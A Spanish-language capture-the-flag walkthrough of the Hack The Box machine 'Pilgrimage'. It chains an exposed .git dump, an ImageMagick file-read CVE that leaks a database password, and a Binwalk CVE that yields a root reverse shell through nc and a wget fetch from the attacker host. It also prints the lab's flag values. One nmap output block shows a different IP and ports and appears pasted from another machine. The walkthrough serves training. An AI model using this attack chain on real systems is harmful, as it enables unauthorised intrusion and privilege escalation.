Descripción

Pilgrimage es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de los archivos del servidor web
  • Descubrimiento de repositorio Git
  • Vulnerabilidad de ImageMagick de lectura arbitraria de archivos
  • Exposición de datos sensibles
  • Escalada de privilegios a través de una ejecución remota de comandos con Binwalk

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.219.

$ ping -c 3 10.10.11.219            
PING 10.10.11.219 (10.10.11.219) 56(84) bytes of data.
64 bytes from 10.10.11.219: icmp_seq=1 ttl=63 time=49.7 ms
64 bytes from 10.10.11.219: icmp_seq=2 ttl=63 time=50.4 ms
64 bytes from 10.10.11.219: icmp_seq=3 ttl=63 time=50.4 ms

--- 10.10.11.219 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 49.718/50.178/50.410/0.325 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.219 -sS -p- -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.219
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 33.84 seconds

Obtenemos dos puertos abiertos, 22 y 80.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.214 -sV -sC -p22,50051 -oN nmap_scan_ports -Pn
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.214
Host is up (0.045s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

Obtenemos dos servicios: un Secure Shell (SSH) y un HyperText Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://pilgrimage.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.

$ echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs http://pilgrimage.htb/
http://pilgrimage.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0], IP[10.10.11.219], JQuery, Script, Title[Pilgrimage - Shrink Your Images], nginx[1.18.0]

Vemos un sitio web hospedado en un servidor nginx 1.18.0. Si nos movemos al navegador vemos un sitio web que funciona como un servicio de encogimiento de imágenes. También tenemos la capacidad de iniciar sesión y registrarse. Después de subir una imagen recibimos un enlace con la imagen resultante, en el directorio shrunk, con un nombre de caracteres hexadecimal. Si nos registramos en el sitio web, podemos ver un panel con todas nuestras imágenes subidas. Si repetimos Nmap con el script http-enum habilitado podemos encontrar la carpeta oculta .git.

$ nmap 10.10.11.219 -sV -sC -p22,80 --script http-enum     
Starting Nmap 7.93 ( https://nmap.org )
Stats: 0:01:18 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.86% done; ETC: 04:15 (0:00:01 remaining)
Nmap scan report for pilgrimage.htb (10.10.11.219)
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
| http-enum: 
|   /login.php: Possible admin folder
|_  /.git/HEAD: Git folder
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.39 seconds

Así que clonamos el repositorio Git. Como el acceso a la carpeta .git está prohibido (pero no el acceso al contenido) necesitamos usar la herramienta git-dumper.

$ git-dumper http://pilgrimage.htb/.git/ repository
$ cd repository

Al enumerar los archivos, podemos encontrar que el repositorio contiene el código fuente del sitio web. Está usando la herramienta magick para reducir las imágenes.

$ ls
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor

Si miramos la versión del binario, es 7.1.0-49.

$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

Explotación

ImageMagick 7.1.0-49 es vulnerable a la vulnerabilidad de lectura arbitraria de archivos, CVE-2022-44268. Tenemos una prueba de concepto en el repositorio de voidz0r, así que descargamos el proyecto y ejecutamos la aplicación para obtener el contenido del archivo /etc/passwd.

$ git clone https://github.com/voidz0r/CVE-2022-44268
$ cd CVE-2022-44268
$ cargo run "/etc/passwd"

Este programa generará una archivo image.png que subiremos al sitio web y luego descargaremos la imagen encogida para analizarla con Exiftool.

$ exiftool 6498fc2931d53.png         
ExifTool Version Number         : 12.57
File Name                       : 6498fc2931d53.png
Directory                       : .
...
Raw Profile Type                : 1437.726f ... 650a.
Warning                         : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
...
Image Size                      : 100x100
Megapixels                      : 0.010

Observamos que tenemos un Raw Profile Type con algunos datos hexadecimales y algunos puntos. Tenemos que eliminar los puntos. Después de decodificar los datos, encontramos dos usuarios de consola, root y emily.

$ cat passwd | grep bash
7root:x:0:0:root:/root:/bin/bash
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash

Mirando el código fuente de la aplicación encontramos que está utilizando una base de datos SQLite ubicada en /var/db/pilgrimage para guardar los datos, por lo que vamos a extraer el archivo de la base de datos.

$ cat register.php | grep sqlite
  $db = new PDO('sqlite:/var/db/pilgrimage');

Después de descargarlo y navegar a través de ella con la herramienta sqlite3 encontramos algunas credenciales para el usuario emily, abigchonkyboi123.

$ sqlite3 pilgrimage.sqlite
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
images  users 
sqlite> select * from users;
emily|abigchonkyboi123

Intentamos entrar a través de SSH.

$ ssh emily@pilgrimage.htb 
The authenticity of host 'pilgrimage.htb (10.10.11.219)' can't be established.
ED25519 key fingerprint is SHA256:uaiHXGDnyKgs1xFxqBduddalajktO+mnpNkqx/HjsBw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pilgrimage.htb' (ED25519) to the list of known hosts.
emily@pilgrimage.htb's password: 
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Estamos conectados.

Post-Explotación

Como ya tenemos los usuarios de la consola, necesitamos elevar nuestros privilegios. Vamos a enumerar los procesos de ejecución como root.

emily@pilgrimage:~$ ps -ef | grep root
...
root         669     653  0 07:12 ?        00:00:00 /bin/bash /usr/sbin/malwarescan.sh
...

Encontramos un script Bash ejecutándose como root, malwarescan.sh.

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

Este script está revisando todos los archivos creados nuevos en /var/www/pilgrimage.htb/shrunk, identificando su tipo con la herramienta binwalk. Si detecta un “Executable script” o un “Microsoft executable” lo elimina.

emily@pilgrimage:~$ binwalk 

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

Binwalk v2.3.2 es vulnerable a la vulnerabilidad de ejecución remota de comandos CVE-2022-4510, y tenemos una prueba de concepto en Exploit-DB. Podemos crear un archivo PNG especial que creará una consola inversa para usar. Como el script Bash se ejecuta continuamente, comprobará nuestro archivo PNG y la carga útil se ejecutará cuando Binwalk se ejecute. Ejecutamos el generador de la carga útil y abrimos un puerto de escucha.

$ python binwalk_exploit.py capture.png 10.10.14.6 1234

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.
$ nc -nvlp 1234

En la sesión anterior SSH descargamos la imagen y la movemos a la carpeta.

emily@pilgrimage:~$ mktemp -d
/tmp/tmp.Ckn2lWuNOV
emily@pilgrimage:~$ cd /tmp/tmp.Ckn2lWuNOV/
emily@pilgrimage:/tmp/tmp.Ckn2lWuNOV$ wget http://10.10.14.6:8000/binwalk_exploit.png
--  http://10.10.14.6:8000/binwalk_exploit.png
Connecting to 10.10.14.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3696 (3.6K) [image/png]
Saving to: ‘binwalk_exploit.png’  

‘binwalk_exploit.png’ saved [3696/3696]

emily@pilgrimage:/tmp/tmp.Ckn2lWuNOV$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/

Después de unos segundos obtenemos una consola inversa como superadministrador.

$ nc -nvlp 1234        
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.219] 57844
id
uid=0(root) gid=0(root) groups=0(root)

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

$ nc -nvlp 1234        
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.219] 57844
id
uid=0(root) gid=0(root) groups=0(root)
cat /home/emily/user.txt
fd70903c947a71b0d811b2a56c71ddbe
cat /root/root.txt
d529fde6410353b787998d3939cba9d0